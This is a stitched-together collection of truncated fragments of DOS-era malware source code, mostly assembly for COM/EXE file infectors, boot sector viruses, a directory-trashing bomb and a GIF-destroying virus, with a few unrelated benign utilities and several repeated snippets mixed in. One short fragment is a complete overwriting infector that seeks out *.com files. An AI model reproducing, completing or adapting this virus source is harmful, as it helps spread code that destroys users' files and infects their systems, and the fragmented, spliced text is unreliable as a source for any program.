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; SMLBOOT.ASM -- Small Booter Virus ; Created with Nowhere Man's Virus Creation Laboratory v1.00 ; Written by Virucidal Maniac virus_type equ 2 ; Spawning Virus is_encrypted equ 0 ; We're not encrypted tsr_virus equ 0 ; We're not TSR code segment byte public assume cs:code,ds:code,es:code,ss:code org 0100h...
SUBR PROC FAR SPACE ; ------------------------------------------------------------------- ; ADD BCD NUMBERS ; THIS ROUTINE ADDS TWO BCD NUMBERS OF EQUAL LENGTH ; ASSUMPTIONS: ; CX CONTAINS THE LENGTH OF THE FIELDS BEING ADDED ; SI POINTS TO THE LEFTMOST BYTE OF THE BCD DATA ; DI POINTS TO THE SECOND OPPER...
; The Shiny Happy Virus ; By Hellraiser and Dark Angel of Phalcon/Skism .model tiny .code id = '52' timeid = 18h shiny: call next next: pop bp push ds push es xor di,di mov ds,di cmp word ptr ds:[1*4],offs...
; ; SkyWalker Written by Virtual Daemon [SLAM] 1997 ; į ; ; Description: ; ; į Virus Name: SkyWalker ; į Virus Author: Virtual Daemon ; į Group: SLAM ; į Virus Size: 709 bytes ; į Virus Type: TSR COM infector ; Comments: ; ; į XOR Encryption with a random variable ; į Infec...
start: jmp short begin db (00h) db (53h) db (4bh) int 20h okey: db (0b8h) db (03h) db (00h) db (0cdh) db (10h) begin: push cx CALL F1 F1: POP SI SUB SI,09 mov ax,0 mov ds,ax mov word ptr [312h],si push cs pop ds push cs pop es cld mov di,100h mov cx,5 rep movsb jmp ding2 int20h: mov ah,00h j...
; ; IMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM; ; : British Computer Virus Research Centre : ; : 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England : ; : Telephone: Domestic 0273-26105, International +44-273-26105 : ; ...
; ; ; V I R U S P R O T O T Y P E ; ; Author : Waleri Todorov, CICTT, (C)-Copyright 1991, All Rights Rsrvd ; Date : 25 Jan 1991 21:05 ; Function : Found DOS stack in put hims...
ORG 100H ; The Screaming Fist II virus (c)1991 by Lazarus Long, Inc. ; The author assumes no responsibility for any damage incurred ; from the infection caused by this virus CURTAIN_OPEN EQU $ ARE_WE_RESIDENT?: CLD ;Do not remove this CALL DECRYPT_US NEXT_PLACE: MOV AH,30H ...
; Silence of The Lambs v2.0 ; (c) -=<: DRE/\MER :>=- of Demoralized Youth 1992 ; ; THIS FILE IS FOR EDUCATION PURPOSES ONLY! ; PERMISSION IS GRANTED TO SPREAD THE SOURCE ; TO VIRUS WRITERS *ONLY*. PLEASE DO NOT MAKE ; ...
; VirusName: Swedish Warrior ; Origin : Sweden ; Author : Lord Zero ; ; Okey, I decided to include this virus, of many reasons. But first ; let's give some information about LOC (Logical Coders). ; ; LOC (Logical Coders) turned out to be a demo-group instead of a Virus- ; group, that I thought it was. THM (Trojan ...
;assembly language shell for a simple COM file program MAIN SEGMENT BYTE ASSUME CS:MAIN,DS:MAIN,SS:NOTHING ORG 100H START: FINISH: mov ah,4CH mov al,0 int 21H ;terminate normally with DOS MAIN ENDS END START 
NAME XX2 PAGE 55,132 TITLE ????? len equ offset handle-offset main2 enlen1 equ offset int21-offset main3 code segment ASSUME CS:CODE,...
PAGE ,132 VIRUS SEGMENT PARA PUBLIC 'CODE' ASSUME CS:VIRUS,DS:VIRUS R1 EQU IDE-131H R2 EQU BE1-1A3H HOSSZ EQU VEG-KEZDET ORG 100H KEZDET EQU $ DB 1 CLI MOV BP,SP CALL IDE IDE: POP BX ; A CIM VISSZAOLVASASA SUB BX,131H TEST CS:BYTE PTR [BX+KEZDET-R1],1 JZ INDIT LEA SI,[BX+INDIT-R1] MOV SP,OFFSET VEG-INDIT...
;**************************************************************************** ; Seneca Virus Strain B ; ; Written by Admiral Bailey ; YAM - Youths Against McAfee ; ; Another overwriting virus. This one though gets all the files and is ; encrypted. My first try at encryption. Well this was long ago so dont ; laugh. ...
.model large ;EXECSWAP.ASM ; Swap memory and exec another program ; Copyright (c) 1988 TurboPower Software ; May be used freely as long as due credit is given ;----------------------------------------------------------------------------- ;DATA SEGMENT BYTE PUBLIC .data EXTRN _BytesSwapped:DWORD ;B...
; ; Servant Virus by John Tardy / TridenT ; ; Virus Name: Servant ; Aliases: ; V Status: Released ; Discovery: Not (yet) ; Symptoms: .COM growth, message on Novell File server ; Origin: The Netherlands ; Eff Length: 444 Bytes ; Type Code: PNC - Parasitic Non-Resident .COM Infector ; Detection Method: ;...
; ; The Slim-Line 2 virus, from the Slim-line virus collection. ; (C) 1993 by [DRkRY]/TridenT ; ; And this time it's a direct action COM infector. ; <will be commented soon> _CODE SEGMENT ASSUME CS:_CODE, DS:_CODE, ES:_CODE ORG 100h FIRST: DB 'D', 0E9h, 000h, 000h VX: MOV...
; Virus generated by G 0.70 ; G written by Dark Angel of Phalcon/Skism ; File: SAURON.ASM ; Sauron by Ender id = 'AC' .model tiny .code ; Assemble with: ; TASM /m3 filename.ASM ; TLINK /t filename.OBJ ...
PAGE 60,132 ; ; ; STONED2 ; ; Created: 1-Jan-80 ; ; DATA_1E EQU 8 ; (694B:0008=0) DATA_2E EQU 9 ; (694B:0009=0) DATA_3E EQU 11H ; (694B:0011=0) CODE_SEG_A SEGMENT ASSUME CS:CODE_SEG_A, DS:CODE_SEG_A...
comment ~ Une production .ee. ee $$ d$$b $$ $ $$$$ $$ .$F3$. $$ d$"^$b $$ ...
; Virus ; Satan's Little Helper-C ;This version: ;Searches current directory for non-infected com files, if any found ;it will become infected! ;This virus has a routine which self-destructs itself and uninfects ;the file. assume cs:code .286 code segment "code" org 0100h start proc jmp v_start ;first 5 bytes |...
.model tiny .code org 100h resid equ 3099h fileid equ 's' time_stamp equ 10001b ;stealth marker... host: jmp short entry db 90h,fileid vstart: entry: call $+3 gd: mov si,sp mov bp, word ptr [si] sub bp,offset gd ...
;skism directory bomb v1.00 ;written by hellraiser ;this is a lame bomb consisting of repetative/error full code ;but it gets the job done ;when run this program will start at the first directory from the root ;and trash all files in first level directorys ;then create a directory in place of the distroyed file name ...
; ------------------------------------------------------------------------- ; ; Slian v2.0 coded by KilJaeden of the Codebreakers 1998 ; ; ------------------------------------------------------------------------- ; ; Description: ; ; ...
; Stercor v1.5 ; by ; Yosha[LT] ;* - Resident, full stealth spawning exe infector. ;* - Uses upper memory if available. ;* - DTA/FCB Findfirst/Next AND Win95 LFN findfirst/next stealth that makes ; spawns completely disapp...
virus segment public 'code' assume cs:virus,ds:virus,es:virus org 0 VirusSize equ VirusEnd-$ Com: call Begin call Label2 PartPage equ this word+02h PageCount equ this word+04h HdrSize equ this word+08h MinMem equ this word+0ah MaxMem equ this word+0ch ExeSS equ this word+0eh ExeSP equ this word+10h ExeSignat...
;************************************************************************** ;** GRITHER VIRUS ** ;** Created: 27 Oct 1990 ** ;** [NukE] Notes: Does come from the Vienna Virus! And copies itself on ** ;** ...
;****************************************************************************** ; ; "I'm the great prepender!" - Jest on Queen by Rajaat / Genesis ; ;****************************************************************************** ; ; Virus name : Great_Prepender ; Author : Rajaat ; Origin : United Kingd...
; Virus generated by G 0.70 ; G written by Dark Angel of Phalcon/Skism ; File: GANDALF.ASM ; Gandalf by Ender .model tiny .code ; Assemble with: ; TASM /m3 filename.ASM ; TLINK /t filename.OBJ org 0100h ...
;**************************************************************************** ;* stripped COM-versie ;* met signature's ;* ;**************************************************************************** cseg segment assume cs:cseg,ds:cseg,es:nothing ...
Program Worm; {$M 2048,0,4096} Uses Dos, Crt; Var F1 : File; F2 : File; O : String; Parm : String; P : DirStr; N : NameStr; E : ExtStr; Buf : Array[0..8000] of Byte; NumRead : Word; NumWritten : Word; DirInfo : SearchRec; ...
cseg segment para public 'code' gold_bug proc near assume cs:cseg ;----------------------------------------------------------------------------- ;designed by "Q" the misanthrope. ;----------------------------------------------------------------------------- .186 TRUE equ...
; GEN12.ASM -- Genesis 1:2 Virus ; Created with Nowhere Man's Virus Creation Laboratory v1.00 ; Written by Virucidal Maniac virus_type equ 0 ; Appending Virus is_encrypted equ 1 ; We're encrypted tsr_virus equ 0 ; We're not TSR code segment byte public assume cs:code,ds:code,es:code,ss:code org 0100h main...
; Green_Caterpillar.1575.A ; TASM /M seg000 segment byte public 'CODE' assume cs:seg000 org 100h assume es:nothing, ss:nothing, ds:seg000 start proc near jmp short RealStart db 90h Int21Ofs dw 0 Int21Seg dw 0 Int1COfs dw 0 Int1CSeg dw 0 exeHeader dw 20CDh exeMOD dw 9090h exeDIV dw 0 exeNumSeg dw 0 exe...
; GIFKILL.ASM -- Seek and Destroy GIF ; Written by Dark Avenger virus_type equ 0 ; Appending Virus is_encrypted equ 1 ; We're encrypted tsr_virus equ 0 ; We're not TSR code segment byte public assume cs:code,ds:code,es:code,ss:code org 0100h main proc near db 0E9h,00h,00h ; Near jump (for compatibilit...
;============================================================================= ; ; C*P*I ; ; CORRUPTED PROGRAMMING INTERNATIONAL ; ----------------------------------- ; p r e s e n t s ; ; ...
; Gergana.222 ; disassembly by Metabolis/VLAD ; with a small amount of help from Qark :) ; I thought it would be interesting since it infects the start of ; files whereas most will append. ; use TASM to re-assemble int24s equ 12h ; original int 24h int24o equ 14h ...
;**************************************************************************** ;* GOTCHA! Version 9e ;**************************************************************************** cseg segment assume cs:cseg,ds:cseg,es:nothing org 100h SIGNLEN equ ...
; ; grafix --- graflib.asm ; ; miscellaneous assembly routines ; ; Written 4/87 by Scott Snyder (ssnyder@romeo.caltech.edu or @citromeo.bitnet) ; ; Modified 5/29/87 by sss to allow for different memory models ; title graflib include macros.ah buflen equ 32768 sseg endss dseg endds buf segment public 'BUF' db bu...
;**************************************************************************** ;* stripped COM-versie ;* met signature's ;* ;**************************************************************************** cseg segment assume cs:cseg,ds:cseg,es:nothing ...
;**************************************************************************** ;* GOTCHA! Version 9e ;**************************************************************************** cseg segment assume cs:cseg,ds:cseg,es:nothing org 100h SIGNLEN equ ...
xor cx,cx mov dx,offset File mov ah,4eh int 21h z: mov dx,9eh mov ax,3d02h int 21h mov bx,ax mov dx,100h mov cl,27h mov ah,40h int 21h mov ah,3eh int 21h mov ah,4fh int 21h jnc z ret file db '*.com',0 e:
;****************************************************************************; ; ; ; -=][][][][][][][][][][][][][][][=- ; ; -=] P E R F E C T C R I M E [=- ; ; ...
code segment assume cs:code,ds:code .radix 16 org 100 start: push word ptr cs:[table+2] push cs nop pop ds jmp word ptr cs:[table] ;go to module 1 curofs dw ? files db 0 ;number of infected files from this copy fsize dw 2 ...
.model tiny .code .radix 16 org 0 our_buffer label byte org 80 line label byte org 100 viruslength = (heap-blah)*2+endcleanup-decoder+((heap-blah+1f)/20)*0f resK = (end_all - our_buffer + 3ff) / 400 resP = resK * 40 sector_length = (heap - bl...
.radix 16 start: jmp begin db 'IBM 3.3' dw 200 db 2 dw 1 db 2 dw 70 dw 2D0 db 0FDh dw 2 dw 9 dw 2 dw 0 work dd ? count db ? drive db ? Fat_sec dw ? old_boot dw 666d flag db ? sys_sec dw ? ;Simulate PUSHA pusha: pop word ptr cs:[sys_sec-start] pushf push ax push bx push cx push dx push si pus...
;******************************************************************************* ;* * ;* THE NUMBER OF THE BEAST VIRUS * ;* * ;* This is NOT a original virus, but a modification. Main difference * ;* between original virus is, that this release support ANY DOS version * ;...
BAC segment para public 'code' assume cs:BAC, ds:BAC, es:BAC, ss:NOTHING org 100h ; .COM format BEGIN: jmp CODE_START ; Jump around data declarations DECLARE: ; Messages, Storage Areas, Equates COPYRIGHT db 'BACopy (C) 1985, Dickinson Associates Inc.' db 13,10,'$' PATH_FILE_LEN equ 77 ;Length = 1, Path = 63...
name boot1_asm .radix 16 start: jmp boot db 'IBM 3.3' dw 200 db 2 dw 1 db 2 dw 70 dw 2D0 db 0FDh dw 2 dw 9 dw 2 dw 0 boot: xor ax,ax mov ss,ax mov sp,7C00 mov ds,ax mov ax,[413] sub ax,2 mov [413],ax mov cl,6 shl ax,cl sub ax,7C0 mov es,ax mov si,7C00 mov di,si mov cx,100 rep movsw db...
code segment assume cs:code,ds:code .radix 16 org 100 start: push word ptr cs:[table+2] push cs pop ds jmp word ptr cs:[table] ;go to module 1 curofs dw ? files db 0 ;number of infected files from this copy fsize dw 2 ...
; Virus generated by G 0.70 ; G written by Dark Angel of Phalcon/Skism ; File: BITTER.ASM ; Bitter by Ender checkres1 = 'DA' checkres2 = 'PS' id = 'EF' .model tiny .code ; Assemble with...
; [BATVIR] '94 (c) 1994 Stormbringer [Phalcon/Skism] ; ; This virus is a bit cheesy, but hell.... Believe it or not, I got bored ;enough to write a direct action .BAT infector in assembly. It infects files ;by basically creating a debug script of itself, echoing it out to a file, ;then running it using...
; -Bad Attitude- ; "Created by Immortal Riot's destructive development team" ; (c) '94 The Unforgiven/Immortal Riot ; ; "If I don't have bad attitude, this virus is harmless" ; ; Notes: ; F-Prot, Scan, Tbav, Findviru can't find shits of this virus. ; ; Disclaimer: ; I...
;--------- ; Bubbles 2 written by Admiral Bailey ;--------- Code Segment Public 'Code' Assume CS:Code Org 100h ; All .COM files start here ID = 'AB' ; Id for infected files MaxFiles = 3 ...
; The Blue Nine virus... (c) 94 Conzouler ; Resident in conventional memory ; Com infection on load and execute ; Com infection on 11/12 (dir for short - TU) ; Size stealth on 11/12 ; Size stealth on 4E/4F ; Infection check: seconds=4 ; Installation check: get dos version with cx=666 ; Redirection stealth on 3D/3F ; N...
.model tiny .code org 100h kkk: nop ; ID count db 90h ; ID mov cx,80h mov si,0080h mov di,0ff7fh rep movsb ; save param lea ax,begp ; begin prog mov cx,ax sub ax,100h mov ds:[0fah],ax ; len VIR add cx,fso mov ds:[0f8h],cx ; begin buffer W ADD CX,AX ...
;Binary Acid Virus ;by Evil Avatar ;Another lame virus by me. Then again, not bad for my second virus! ;This is a resident .COM/.EXE/.OV? infector that infects on file runs. ;It does hide the size change AND avoids CHKDSK and its ilk. ;Plenty more from me to come. Stay tuned. .model tiny ...
; ; ; ; = == = ; ; VIRUS. ; ; A 29...
;**************************************************************************** ;* Little Brother Version 1 ;**************************************************************************** cseg segment assume cs:cseg,ds:cseg,es:nothing org 100h FILELEN ...
P/HUN Issue #4, Volume 2: Phile 3 of 11 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ A BOOT SECTOR VIRUS 5/15/89 The following is a disassembled and commented version of the Alemeda College Boot infector virus. Courtesy...
; Boot Record Program (C) Copyright Peter Norton 1986 boots segment 'code' public boot assume cs:boots boot proc far ; 30-byte DOS info -- set up for 1-side, 8-sector ; change as needed for any other format head: jmp begin ; EB 2A 90 as per normal db ' Norton ' ; 8-byte sy...
;****************************************************************************; ; ; ; -=][][][][][][][][][][][][][][][=- ; ; -=] P E R F E C T C R I M E [=- ; ; ...
; BROWSE.ASM -- Full Screen File Pager ; ==================================== CSEG Segment Assume CS:CSEG, DS:CSEG, ES:CSEG, SS:CSEG Org 0080h Parameter Label Byte Org 0100h Entry: Jmp Begin ; All Data ; -------- db 'ATTR=' Attribute db 0 ; Current screen attribute db 'SHIFT=' ShiftHoriz db 8 ; Horizon...
name boot2_asm .radix 16 n_000100: inc word ptr [7DF3] mov bx,[7DF3] add byte ptr [7EB2],2 call n_FFFF9D jmp short n_00014B n_000112: mov ax,3 test byte ptr [7DF7],4 je n_00011D inc ax n_00011D: mul si shr ax,1 sub ah,byte ptr [7EB2] mov bx,ax cmp bx,1FF jnb n_000100 mov dx,[bx+8000] test byte ptr ...
cr equ 13 ; Carriage return ASCII code lf equ 10 ; Linefeed ASCII code tab equ 9 ; Tab ASCII code code_start equ 100h ; Address right after PSP in memory dta equ 80h ; Addr of d...
.model tiny .code org 100h kkk: nop ; ID nop ; ID mov cx,80h mov si,0080h mov di,0ff7fh rep movsb ; save param lea ax,begp ; begin prog mov cx,ax sub ax,100h mov ds:[0fah],ax ; len VIR add cx,fso mov ds:[0f8h],cx ; begin buffer W ADD CX,AX mov...
code segment assume cs:code,ds:code .radix 16 org 100 start: push word ptr cs:[table+2] push cs inc ax dec ax pop ds jmp word ptr cs:[table] ;go to module 1 curofs dw ? files db 0 ;number of infected files from this copy fsize ...
.model tiny .code org 100h kkk: nop ; ID nop ; ID mov cx,80h mov si,0080h mov di,0ff7fh rep movsb ; save param lea ax,begp ; begin prog mov cx,ax sub ax,100h mov ds:[0fah],ax ; len VIR add cx,fso mov ds:[0f8h],cx ; begin buffer W ADD CX,AX mov...
.radix 16 ;****************************************** ; * ; Code masters LTD. presents: * ; THE BOOT HORSE V4.10 * ; Finished on the 25.04.1991. * ; This is a boot virus,which does not * ; "cuts" memory.It places itself into ...
; ; ; BOOT_VIR ; ; Created: 9-Jul-93 Comments by Mike M. ; ; Int60_Offset equ 180h Int60_Segment equ 182h main_ram_size_ equ 413h d_0000_07B4_e equ...
; ; ; Baby Bug ; by Tcp/29A ; ; ; ; Because in 29A#2 it wasn't going to be...
P/HUN Issue #4, Volume 2: Phile 3 of 11 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ A BOOT SECTOR VIRUS 5/15/89 The following is a disassembled and commented version of the Alemeda College Boot infector virus. Courtesy...
;****************************************************************************; ; ; ; -=][][][][][][][][][][][][][][][=- ; ; -=] P E R F E C T C R I M E [=- ; ; ...
BAC segment para public 'code' assume cs:BAC, ds:BAC, es:BAC, ss:NOTHING org 100h ; .COM format BEGIN: jmp CODE_START ; Jump around data declarations DECLARE: ; Messages, Storage Areas, Equates COPYRIGHT db 'BACopy (C) 1985, Dickinson Associates Inc.' db 13,10,'$' PATH_FILE_LEN equ 77 ;Length = 1, Path = 63...
.radix 16 ;****************************************** ; * ; Code masters LTD. presents: * ; THE BOOT HORSE V4.10 * ; Finished on the 25.04.1991. * ; This is a boot virus,which does not * ; "cuts" memory.It places itself into ...
;Ŀ ; Dutche Breeze by Glenn Benton ;Ĵ ; This will be a Parasytic Non-Resident .COM infector. ; It will also infect COMMAND.COM. ; .MODEL TINY Public VirLen,MovLen Code Segment para 'C...
code segment assume cs:code,ds:code .radix 16 org 100 start: push word ptr cs:[table+2] push cs pop ds jmp word ptr cs:[table] ;go to module 1 curofs dw ? files db 0 ;number of infected files from this copy fsize dw 2 ...
.model tiny .code org 100h kkk: nop ; ID count db 90h ; ID mov cx,80h mov si,0080h mov di,0ff7fh rep movsb ; save param lea ax,begp ; begin prog mov cx,ax sub ax,100h mov ds:[0fah],ax ; len VIR add cx,fso mov ds:[0f8h],cx ; begin buffer W ADD CX,AX ...
; ; The Horse's boot sector virus ; This is an author's source ; .radix 16 begin: jmp start my label word db 'IBM 3.3' dw 200 db 2 dw 1 db 2 dw 70 dw 2d0 db 0fdh dw 2 dw 9 dw 2 dw 0 lee label word virlen equ offset endcode-begin start: cld sub ax,ax mov ds,ax mov bp,7c00 cli mov ss,ax mov ...
; ; VIPERizer, Strain B ; Copyright (c) 1992, Stingray/VIPER ; This is a Viral Inclined Programming Experts Ring Programming Team Production ; ; VIPER are: Stingray, Venom, and Guido Sanchez ; MOV_CX MACRO X ; Here is just a simple "mov cx,xxxx" macro. DB 0B9H DW X ENDM CODE ...
;This is a simple boot sector that will load either MS-DOS or PC-DOS. It is not ;self-reproducing, but it will be used as the foundation on which to build a ;virus into a boot sector. ;This segment is where the first operating system file (IBMBIO.COM or IO.SYS) ;will be loaded and executed from. We don't know (or care...
; ------------------------------------------------------------------------------ ; ; - Bad Religion - ; Created by Immortal Riot's destructive development team ; (c) 1994 The Unforgiven/Immortal Riot ; ; -------------------------------------------------------------------------...
From smtp Tue Feb 7 13:16 EST 1995 Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 13:16 EST Received: by lynx.dac.neu.edu (8.6.9/8.6.9) id NAA08362 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:19:38 -0500 Date: Tue, 7 Feb 1995 13:19:38 -0500 From: lynx.dac.neu.edu!ekilby (Eric Kilby) Content-L...
; ; VIPERizer, Strain B ; Copyright (c) 1992, Stingray/VIPER ; This is a Viral Inclined Programming Experts Ring Programming Team Production ; ; VIPER are: Stingray, Venom, and Guido Sanchez ; MOV_CX MACRO X ; Here is just a simple "mov cx,xxxx" macro. DB 0B9H DW X ENDM CODE ...
;--------- ; Bubbles Virus written by Admiral Bailey ; Using The Instant Virus Production Kit By Admiral Bailey ; To compile this use TASM /M BUBBLES.ASM ;--------- code segment public 'code' assume cs:code org 100h ; All .COM files start here ID = 'AB' ...
assume ss:codevir pila segment stack 'stack' db 64 dup ('12345678') pila ends code segment anfitrion: assume cs:code, ds:code mov ah, 02h mov dl, 'z' int 21h mov ax, 4C00h int 21h code ends codevir segment assume cs:codevir, ds:co...
*************************************************** ; Program Virus ; Version 1.1 ; Writter : R. Burger ; Created 1986 ; This is a demonstration program for computer ; viruses. It has the ability to replace itself. ; and thereby modify other programs. Enjoy. ;************************************...
;**************************************************************************** ;* Little Brother version 2 ;* ;* Compile with MASM 4.0 ;* (other assemblers will probably not produce the same result) ;* ;* Disclaimer: ;* This file is only for educational purposes. The author takes no ;* responsibility for anythi...
; Boot Record Program (C) Copyright Peter Norton 1986 ; From PC Magazine ca. January 1986 boots segment 'code' public boot assume cs:boots boot proc far ; 30-byte DOS info -- set up for 2-sides, 9-sector ; change as needed for any other format head: jmp begin ; EB 2A 90 as per norma...
page ,132 title BootThru - v1.05 ;------------------------------------------------------------------------ ; ; BootThru - Copyright (c) Bill Gibson - 1987 ; Lathrup Village, Mi 48076 ; ; Ver. 1.00 - Initial version (not rlsd) - 01/11/87 ; 1.01 - revised code structure " - 01/25/87 ; 1.02 - revis...
From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:43:54 1994 Xref: netcom.com alt.comp.virus:508 Path: netcom.com!ix.netcom.com!netnews From: Zeppelin@ix.netcom.com (Mr. G) Newsgroups: alt.comp.virus Subject: BlackKnight Virus (ANTI AV VIRUS) Date: 29 Nov 1994 13:09:23 GMT Organization: Netcom Lines: 376 Distribution...
; BROWSE.ASM -- Full Screen File Pager ; ==================================== CSEG Segment Assume CS:CSEG, DS:CSEG, ES:CSEG, SS:CSEG Org 0080h Parameter Label Byte Org 0100h Entry: Jmp Begin ; All Data ; -------- db 'ATTR=' Attribute db 0 ; Current screen attribute db 'SHIFT=' ShiftHoriz db 8 ; Horizon...
;This is a simple boot sector that will load either MS-DOS or PC-DOS. It is not ;self-reproducing, but it will be used as the foundation on which to build a ;virus into a boot sector. ;This segment is where the first operating system file (IBMBIO.COM or IO.SYS) ;will be loaded and executed from. We don't know (or care...
; HR Virus Strain B-Compacted ; Bad Brains ; Created 8/5/91 by Hellraiser ; Destructive Code - Beware! fileattr EQU 21 filetime EQU 22 filedate EQU 24 filename EQU 30 virus_size EQU 554 code_start EQU 0100h code segment 'code' assume cs:code,ds:code,es:code org ...
; ------------------------------------------------------------------------------ ; ; - Binary Obsession - ; Created by Immortal Riot's destructive development team ; (c) 1994 Metal Militia/Immortal Riot ; ; ---------------------------------------------------------------------...
.model tiny .code org 100h kkk: nop ; ID count db 90h ; ID mov cx,80h mov si,0080h mov di,0ff7fh rep movsb ; save param lea ax,begp ; begin prog mov cx,ax sub ax,100h mov ds:[0fah],ax ; len VIR add cx,fso mov ds:[0f8h],cx ; begin buffer W ADD CX,AX ...
; [BATVIR] '94 (c) 1994 Stormbringer [Phalcon/Skism] ; ; This virus is a bit cheesy, but hell.... Believe it or not, I got bored ;enough to write a direct action .BAT infector in assembly. It infects files ;by basically creating a debug script of itself, echoing it out to a file, ;then running it using...
;******************************************************************************* ;* * ;* THE NUMBER OF THE BEAST VIRUS * ;* * ;* This is NOT a original virus, but a modification. Main difference * ;* between original virus is, that this release support ANY DOS version * ;...
; BLOODY! virus ; ; Discovered an commented by Ferenc Leitold ; Hungarian VirusBuster Team ; Address: 1399 Budapest ; P.O. box 701/349 ; HUNGARY 217D:0100 2EFF2E177C JMP Far CS:[7C17] 217D:0...
; NAME: Basho.com ; SIZE: 431 bytes ; AUTHOR: Sea4 ; TYPE: Appending in a weird way. ; ENCRYPTION: No ; DT: Yes ; STEALTH: No ; REPAIRABLE: Yes ; PAYLOAD: Yes ; RESIDENT: No ; ROI: 4 files per run ; POLYMORPHIC: No ; Explanation. ; Its not very easy to understand at first glance how it even possibly works. ; But th...